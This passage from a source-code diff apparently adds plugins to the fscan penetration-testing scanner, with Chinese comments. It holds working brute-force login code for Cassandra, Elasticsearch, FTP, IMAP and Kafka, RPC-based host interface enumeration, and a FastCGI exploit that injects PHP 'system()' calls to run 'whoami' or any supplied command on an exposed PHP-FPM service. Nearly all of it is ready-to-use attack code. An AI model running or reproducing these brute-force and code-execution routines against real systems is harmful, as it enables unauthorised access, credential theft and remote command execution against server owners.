blockMode.CryptBlocks(origData, cryptedBytes)
// 去除填充
origData, err = PKCS7UnPadding(origData)
if err != nil {
return "", fmt.Errorf("去除PKCS7填充失败: %v", err)
}
return string(origData), nil
}
// PKCS7Padding 对数据进行PKCS7填充
func PKCS7Padding(data []byte, blockSize int) []byte {
padding := blockSize - len(data)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(data, padtext...)
}
// PKCS7UnPadding 去除PKCS7填充
func PKCS7UnPadding(data []byte) ([]byte, error) {
length := len(data)
if length == 0 {
return nil, errors.New("数据长度为0")
}
padding := int(data[length-1])
if padding > length {
return nil, errors.New("填充长度无效")
}
return data[:length-padding], nil
}

178
Plugins/Cassandra.go Normal file
View File

@ -0,0 +1,178 @@
package Plugins
import (
"fmt"
"github.com/gocql/gocql"
"github.com/shadow1ng/fscan/Common"
"strconv"
"strings"
"time"
)
func CassandraScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
maxRetries := Common.MaxRetries
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
Common.LogDebug("尝试无认证访问...")
// 首先测试无认证访问
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试无认证访问", retryCount+1))
}
flag, err := CassandraConn(info, "", "")
if flag && err == nil {
successMsg := fmt.Sprintf("Cassandra服务 %s 无认证访问成功", target)
Common.LogSuccess(successMsg)
// 保存无认证访问结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "cassandra",
"auth_type": "anonymous",
"type": "unauthorized-access",
"description": "数据库允许无认证访问",
},
}
Common.SaveResult(result)
return err
}
if err != nil && Common.CheckErrs(err) != nil {
if retryCount == maxRetries-1 {
return err
}
continue
}
break
}
totalUsers := len(Common.Userdict["cassandra"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
// 遍历所有用户名密码组合
for _, user := range Common.Userdict["cassandra"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct {
success bool
err error
}, 1)
go func(user, pass string) {
success, err := CassandraConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{success, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
successMsg := fmt.Sprintf("Cassandra服务 %s 爆破成功 用户名: %v 密码: %v", target, user, pass)
Common.LogSuccess(successMsg)
// 保存爆破成功结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "cassandra",
"username": user,
"password": pass,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errlog := fmt.Sprintf("Cassandra服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v", target, user, pass, err)
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
return tmperr
}
// CassandraConn 清理后的连接测试函数
func CassandraConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
cluster := gocql.NewCluster(host)
cluster.Port, _ = strconv.Atoi(port)
cluster.Timeout = timeout
cluster.ProtoVersion = 4
cluster.Consistency = gocql.One
if user != "" || pass != "" {
cluster.Authenticator = gocql.PasswordAuthenticator{
Username: user,
Password: pass,
}
}
cluster.RetryPolicy = &gocql.SimpleRetryPolicy{NumRetries: 3}
session, err := cluster.CreateSession()
if err != nil {
return false, err
}
defer session.Close()
var version string
if err := session.Query("SELECT peer FROM system.peers").Scan(&version); err != nil {
if err := session.Query("SELECT now() FROM system.local").Scan(&version); err != nil {
return false, err
}
}
return true, nil
}

1050
Plugins/DCInfo.go Normal file

File diff suppressed because it is too large Load Diff

9
Plugins/DCInfoUnix.go Normal file
View File

@ -0,0 +1,9 @@
//go:build !windows
package Plugins
import "github.com/shadow1ng/fscan/Common"
func DCInfoScan(info *Common.HostInfo) (err error) {
return nil
}

176
Plugins/Elasticsearch.go Normal file
View File

@ -0,0 +1,176 @@
package Plugins
import (
"crypto/tls"
"encoding/base64"
"fmt"
"github.com/shadow1ng/fscan/Common"
"net/http"
"strings"
"time"
)
func ElasticScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
Common.LogDebug("尝试无认证访问...")
// 首先测试无认证访问
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试无认证访问", retryCount+1))
}
flag, err := ElasticConn(info, "", "")
if flag && err == nil {
successMsg := fmt.Sprintf("Elasticsearch服务 %s 无需认证", target)
Common.LogSuccess(successMsg)
// 保存无认证访问结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "elasticsearch",
"type": "unauthorized-access",
},
}
Common.SaveResult(result)
return err
}
if err != nil && Common.CheckErrs(err) != nil {
if retryCount == maxRetries-1 {
return err
}
continue
}
break
}
totalUsers := len(Common.Userdict["elastic"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)",
totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
// 遍历所有用户名密码组合
for _, user := range Common.Userdict["elastic"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct {
success bool
err error
}, 1)
go func(user, pass string) {
flag, err := ElasticConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{flag, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
successMsg := fmt.Sprintf("Elasticsearch服务 %s 爆破成功 用户名: %v 密码: %v",
target, user, pass)
Common.LogSuccess(successMsg)
// 保存弱密码结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "elasticsearch",
"username": user,
"password": pass,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errlog := fmt.Sprintf("Elasticsearch服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v",
target, user, pass, err)
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
return tmperr
}
// ElasticConn 尝试 Elasticsearch 连接
func ElasticConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
client := &http.Client{
Timeout: timeout,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
baseURL := fmt.Sprintf("http://%s:%s", host, port)
req, err := http.NewRequest("GET", baseURL+"/_cat/indices", nil)
if err != nil {
return false, err
}
if user != "" || pass != "" {
auth := base64.StdEncoding.EncodeToString([]byte(user + ":" + pass))
req.Header.Add("Authorization", "Basic "+auth)
}
resp, err := client.Do(req)
if err != nil {
return false, err
}
defer resp.Body.Close()
return resp.StatusCode == 200, nil
}

188
Plugins/FTP.go Normal file
View File

@ -0,0 +1,188 @@
package Plugins
import (
"fmt"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
func FtpScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
Common.LogDebug("尝试匿名登录...")
// 尝试匿名登录
for retryCount := 0; retryCount < maxRetries; retryCount++ {
success, dirs, err := FtpConn(info, "anonymous", "")
if success && err == nil {
Common.LogSuccess("匿名登录成功!")
// 保存匿名登录结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "ftp",
"username": "anonymous",
"password": "",
"type": "anonymous-login",
"directories": dirs,
},
}
Common.SaveResult(result)
return nil
}
errlog := fmt.Sprintf("ftp %s %v", target, err)
Common.LogError(errlog)
break
}
totalUsers := len(Common.Userdict["ftp"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
// 遍历用户名密码组合
for _, user := range Common.Userdict["ftp"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
var lastErr error
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct {
success bool
dirs []string
err error
}, 1)
go func(user, pass string) {
success, dirs, err := FtpConn(info, user, pass)
select {
case done <- struct {
success bool
dirs []string
err error
}{success, dirs, err}:
default:
}
}(user, pass)
select {
case result := <-done:
if result.success && result.err == nil {
successLog := fmt.Sprintf("FTP服务 %s 成功爆破 用户名: %v 密码: %v", target, user, pass)
Common.LogSuccess(successLog)
// 保存爆破成功结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "ftp",
"username": user,
"password": pass,
"type": "weak-password",
"directories": result.dirs,
},
}
Common.SaveResult(vulnResult)
return nil
}
lastErr = result.err
case <-time.After(time.Duration(Common.Timeout) * time.Second):
lastErr = fmt.Errorf("连接超时")
}
// 错误处理
if lastErr != nil {
errlog := fmt.Sprintf("FTP服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v",
target, user, pass, lastErr)
Common.LogError(errlog)
if strings.Contains(lastErr.Error(), "Login incorrect") {
break
}
if strings.Contains(lastErr.Error(), "too many connections") {
Common.LogDebug("连接数过多等待5秒...")
time.Sleep(5 * time.Second)
if retryCount < maxRetries-1 {
continue
}
}
}
}
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
return tmperr
}
// FtpConn 建立FTP连接并尝试登录
func FtpConn(info *Common.HostInfo, user string, pass string) (success bool, directories []string, err error) {
Host, Port := info.Host, info.Ports
// 建立FTP连接
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(Common.Timeout)*time.Second)
if err != nil {
return false, nil, err
}
defer func() {
if conn != nil {
conn.Quit()
}
}()
// 尝试登录
if err = conn.Login(user, pass); err != nil {
return false, nil, err
}
// 获取目录信息
dirs, err := conn.List("")
if err == nil && len(dirs) > 0 {
directories = make([]string, 0, min(6, len(dirs)))
for i := 0; i < len(dirs) && i < 6; i++ {
name := dirs[i].Name
if len(name) > 50 {
name = name[:50]
}
directories = append(directories, name)
}
}
return true, directories, nil
}
// min 返回两个整数中的较小值
func min(a, b int) int {
if a < b {
return a
}
return b
}

View File

@ -6,7 +6,7 @@ import (
"encoding/binary"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/Common"
"io"
"strconv"
"strings"
@ -18,34 +18,43 @@ import (
//https://xz.aliyun.com/t/9544
//https://github.com/wofeiwo/webcgi-exploits
func FcgiScan(info *common.HostInfo) {
if common.IsBrute {
return
// FcgiScan 执行FastCGI服务器漏洞扫描
func FcgiScan(info *Common.HostInfo) error {
// 如果设置了暴力破解模式则跳过
if Common.DisableBrute {
return nil
}
// 设置目标URL路径
url := "/etc/issue"
if common.Path != "" {
url = common.Path
if Common.RemotePath != "" {
url = Common.RemotePath
}
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
// 构造PHP命令注入代码
var reqParams string
var cutLine = "-----ASDGTasdkk361363s-----\n"
var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记
switch {
case common.Command == "read":
reqParams = ""
case common.Command != "":
reqParams = "<?php system('" + common.Command + "');die('" + cutLine + "');?>"
case Common.Command == "read":
reqParams = "" // 读取模式
case Common.Command != "":
reqParams = fmt.Sprintf("<?php system('%s');die('%s');?>", Common.Command, cutLine) // 自定义命令
default:
reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
reqParams = fmt.Sprintf("<?php system('whoami');die('%s');?>", cutLine) // 默认执行whoami
}
env := make(map[string]string)
env["SCRIPT_FILENAME"] = url
env["DOCUMENT_ROOT"] = "/"
env["SERVER_SOFTWARE"] = "go / fcgiclient "
env["REMOTE_ADDR"] = "127.0.0.1"
env["SERVER_PROTOCOL"] = "HTTP/1.1"
// 设置FastCGI环境变量
env := map[string]string{
"SCRIPT_FILENAME": url,
"DOCUMENT_ROOT": "/",
"SERVER_SOFTWARE": "go / fcgiclient ",
"REMOTE_ADDR": "127.0.0.1",
"SERVER_PROTOCOL": "HTTP/1.1",
}
// 根据请求类型设置对应的环境变量
if len(reqParams) != 0 {
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
env["REQUEST_METHOD"] = "POST"
@ -54,61 +63,55 @@ func FcgiScan(info *common.HostInfo) {
env["REQUEST_METHOD"] = "GET"
}
fcgi, err := New(addr, common.Timeout)
// 建立FastCGI连接
fcgi, err := New(addr, Common.Timeout)
defer func() {
if fcgi.rwc != nil {
fcgi.rwc.Close()
}
}()
if err != nil {
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
return
fmt.Printf("FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err)
return err
}
// 发送FastCGI请求
stdout, stderr, err := fcgi.Request(env, reqParams)
if err != nil {
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
return
fmt.Printf("FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err)
return err
}
//1
//Content-type: text/html
//
//uid=1001(www) gid=1001(www) groups=1001(www)
//2
//Status: 404 Not Found
//Content-type: text/html
//
//File not found.
//Primary script unknown
//3
//Status: 403 Forbidden
//Content-type: text/html
//
//Access denied.
//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
// 处理响应结果
output := string(stdout)
var result string
var output = string(stdout)
if strings.Contains(output, cutLine) { //命令成功回显
if strings.Contains(output, cutLine) {
// 命令执行成功,提取输出结果
output = strings.SplitN(output, cutLine, 2)[0]
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
result = fmt.Sprintf("FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径例如: -path /www/wwwroot/index.php",
info.Host, info.Ports, output, string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output)
result = fmt.Sprintf("FastCGI漏洞确认 %v:%v\n命令输出:\n%v",
info.Host, info.Ports, output)
}
common.LogSuccess(result)
} else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") {
Common.LogSuccess(result)
} else if strings.Contains(output, "File not found") ||
strings.Contains(output, "Content-type") ||
strings.Contains(output, "Status") {
// 目标存在FastCGI服务但可能路径错误
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
result = fmt.Sprintf("FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径例如: -path /www/wwwroot/index.php",
info.Host, info.Ports, output, string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output)
result = fmt.Sprintf("FastCGI服务确认 %v:%v\n响应:\n%v",
info.Host, info.Ports, output)
}
common.LogSuccess(result)
Common.LogSuccess(result)
}
return nil
}
// for padding so we don't have to allocate all the time
@ -183,7 +186,7 @@ type FCGIClient struct {
}
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
fcgi = &FCGIClient{
rwc: conn,
keepAlive: false,

229
Plugins/FindNet.go Normal file
View File

@ -0,0 +1,229 @@
package Plugins
import (
"bytes"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/Common"
"net"
"regexp"
"strconv"
"strings"
"time"
"unicode"
)
var (
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
bufferV3, _ = hex.DecodeString("0900ffff0000")
)
func Findnet(info *Common.HostInfo) error {
return FindnetScan(info)
}
func FindnetScan(info *Common.HostInfo) error {
target := fmt.Sprintf("%s:%v", info.Host, 135)
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return fmt.Errorf("连接RPC端口失败: %v", err)
}
defer conn.Close()
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return fmt.Errorf("设置超时失败: %v", err)
}
if _, err = conn.Write(bufferV1); err != nil {
return fmt.Errorf("发送RPC请求1失败: %v", err)
}
reply := make([]byte, 4096)
if _, err = conn.Read(reply); err != nil {
return fmt.Errorf("读取RPC响应1失败: %v", err)
}
if _, err = conn.Write(bufferV2); err != nil {
return fmt.Errorf("发送RPC请求2失败: %v", err)
}
n, err := conn.Read(reply)
if err != nil || n < 42 {
return fmt.Errorf("读取RPC响应2失败: %v", err)
}
text := reply[42:]
found := false
for i := 0; i < len(text)-5; i++ {
if bytes.Equal(text[i:i+6], bufferV3) {
text = text[:i-4]
found = true
break
}
}
if !found {
return fmt.Errorf("未找到有效的响应标记")
}
return read(text, info.Host)
}
func HexUnicodeStringToString(src string) string {
if len(src)%4 != 0 {
src += strings.Repeat("0", 4-len(src)%4)
}
var result strings.Builder
for i := 0; i < len(src); i += 4 {
if i+4 > len(src) {
break
}
charCode, err := strconv.ParseInt(src[i+2:i+4]+src[i:i+2], 16, 32)
if err != nil {
continue
}
if unicode.IsPrint(rune(charCode)) {
result.WriteRune(rune(charCode))
}
}
return result.String()
}
func isValidHostname(name string) bool {
if len(name) == 0 || len(name) > 255 {
return false
}
validHostname := regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9-]*[a-zA-Z0-9]$`)
return validHostname.MatchString(name)
}
func isValidNetworkAddress(addr string) bool {
// 检查是否为IPv4或IPv6
if ip := net.ParseIP(addr); ip != nil {
return true
}
// 检查是否为有效主机名
return isValidHostname(addr)
}
func cleanAndValidateAddress(data []byte) string {
// 转换为字符串并清理不可打印字符
addr := strings.Map(func(r rune) rune {
if unicode.IsPrint(r) {
return r
}
return -1
}, string(data))
// 移除前后空白
addr = strings.TrimSpace(addr)
if isValidNetworkAddress(addr) {
return addr
}
return ""
}
func read(text []byte, host string) error {
encodedStr := hex.EncodeToString(text)
// 解析主机名
var hostName string
for i := 0; i < len(encodedStr)-4; i += 4 {
if encodedStr[i:i+4] == "0000" {
break
}
hostName += encodedStr[i : i+4]
}
name := HexUnicodeStringToString(hostName)
if !isValidHostname(name) {
name = ""
}
// 用于收集地址信息
var ipv4Addrs []string
var ipv6Addrs []string
seenAddresses := make(map[string]bool)
// 解析网络信息
netInfo := strings.Replace(encodedStr, "0700", "", -1)
segments := strings.Split(netInfo, "000000")
// 处理每个网络地址
for _, segment := range segments {
if len(segment) == 0 {
continue
}
if len(segment)%2 != 0 {
segment = segment + "0"
}
addrBytes, err := hex.DecodeString(segment)
if err != nil {
continue
}
addr := cleanAndValidateAddress(addrBytes)
if addr != "" && !seenAddresses[addr] {
seenAddresses[addr] = true
if strings.Contains(addr, ":") {
ipv6Addrs = append(ipv6Addrs, addr)
} else if net.ParseIP(addr) != nil {
ipv4Addrs = append(ipv4Addrs, addr)
}
}
}
// 构建详细信息
details := map[string]interface{}{
"hostname": name,
"ipv4": ipv4Addrs,
"ipv6": ipv6Addrs,
}
// 保存扫描结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.SERVICE,
Target: host,
Status: "identified",
Details: details,
}
Common.SaveResult(result)
// 构建控制台输出
var output strings.Builder
output.WriteString("NetInfo 扫描结果")
output.WriteString(fmt.Sprintf("\n目标主机: %s", host))
if name != "" {
output.WriteString(fmt.Sprintf("\n主机名: %s", name))
}
output.WriteString("\n发现的网络接口:")
if len(ipv4Addrs) > 0 {
output.WriteString("\n IPv4地址:")
for _, addr := range ipv4Addrs {
output.WriteString(fmt.Sprintf("\n └─ %s", addr))
}
}
if len(ipv6Addrs) > 0 {
output.WriteString("\n IPv6地址:")
for _, addr := range ipv6Addrs {
output.WriteString(fmt.Sprintf("\n └─ %s", addr))
}
}
Common.LogSuccess(output.String())
return nil
}

169
Plugins/IMAP.go Normal file
View File

@ -0,0 +1,169 @@
package Plugins
import (
"bufio"
"crypto/tls"
"fmt"
"github.com/shadow1ng/fscan/Common"
"io"
"net"
"strings"
"time"
)
// IMAPScan 主扫描函数
func IMAPScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
totalUsers := len(Common.Userdict["imap"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
for _, user := range Common.Userdict["imap"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct {
success bool
err error
}, 1)
go func(user, pass string) {
success, err := IMAPConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{success, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success {
successMsg := fmt.Sprintf("IMAP服务 %s 爆破成功 用户名: %v 密码: %v", target, user, pass)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "imap",
"username": user,
"password": pass,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errMsg := fmt.Sprintf("IMAP服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v", target, user, pass, err)
Common.LogError(errMsg)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
return tmperr
}
// IMAPConn 连接测试函数
func IMAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
addr := fmt.Sprintf("%s:%s", host, port)
// 尝试普通连接
conn, err := net.DialTimeout("tcp", addr, timeout)
if err == nil {
if flag, err := tryIMAPAuth(conn, user, pass, timeout); err == nil {
return flag, nil
}
conn.Close()
}
// 尝试TLS连接
tlsConfig := &tls.Config{
InsecureSkipVerify: true,
}
conn, err = tls.DialWithDialer(&net.Dialer{Timeout: timeout}, "tcp", addr, tlsConfig)
if err != nil {
return false, fmt.Errorf("连接失败: %v", err)
}
defer conn.Close()
return tryIMAPAuth(conn, user, pass, timeout)
}
// tryIMAPAuth 尝试IMAP认证
func tryIMAPAuth(conn net.Conn, user string, pass string, timeout time.Duration) (bool, error) {
conn.SetDeadline(time.Now().Add(timeout))
reader := bufio.NewReader(conn)
_, err := reader.ReadString('\n')
if err != nil {
return false, fmt.Errorf("读取欢迎消息失败: %v", err)
}
loginCmd := fmt.Sprintf("a001 LOGIN \"%s\" \"%s\"\r\n", user, pass)
_, err = conn.Write([]byte(loginCmd))
if err != nil {
return false, fmt.Errorf("发送登录命令失败: %v", err)
}
for {
conn.SetDeadline(time.Now().Add(timeout))
response, err := reader.ReadString('\n')
if err != nil {
if err == io.EOF {
return false, fmt.Errorf("认证失败")
}
return false, fmt.Errorf("读取响应失败: %v", err)
}
if strings.Contains(response, "a001 OK") {
return true, nil
}
if strings.Contains(response, "a001 NO") || strings.Contains(response, "a001 BAD") {
return false, fmt.Errorf("认证失败")
}
}
}

177
Plugins/Kafka.go Normal file
View File

@ -0,0 +1,177 @@
package Plugins
import (
"fmt"
"github.com/IBM/sarama"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
func KafkaScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 尝试无认证访问
Common.LogDebug("尝试无认证访问...")
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试无认证访问", retryCount+1))
}
flag, err := KafkaConn(info, "", "")
if flag && err == nil {
// 保存无认证访问结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "kafka",
"type": "unauthorized-access",
},
}
Common.SaveResult(result)
Common.LogSuccess(fmt.Sprintf("Kafka服务 %s 无需认证即可访问", target))
return nil
}
if err != nil && Common.CheckErrs(err) != nil {
if retryCount < maxRetries-1 {
continue
}
return err
}
break
}
totalUsers := len(Common.Userdict["kafka"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
// 遍历所有用户名密码组合
for _, user := range Common.Userdict["kafka"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct {
success bool
err error
}, 1)
go func(user, pass string) {
success, err := KafkaConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{success, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
// 保存爆破成功结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "kafka",
"type": "weak-password",
"username": user,
"password": pass,
},
}
Common.SaveResult(vulnResult)
Common.LogSuccess(fmt.Sprintf("Kafka服务 %s 爆破成功 用户名: %s 密码: %s", target, user, pass))
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
Common.LogError(fmt.Sprintf("Kafka服务 %s 尝试失败 用户名: %s 密码: %s 错误: %v",
target, user, pass, err))
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
return tmperr
}
// KafkaConn 尝试 Kafka 连接
func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
config := sarama.NewConfig()
config.Net.DialTimeout = timeout
config.Net.TLS.Enable = false
config.Version = sarama.V2_0_0_0
// 设置 SASL 配置
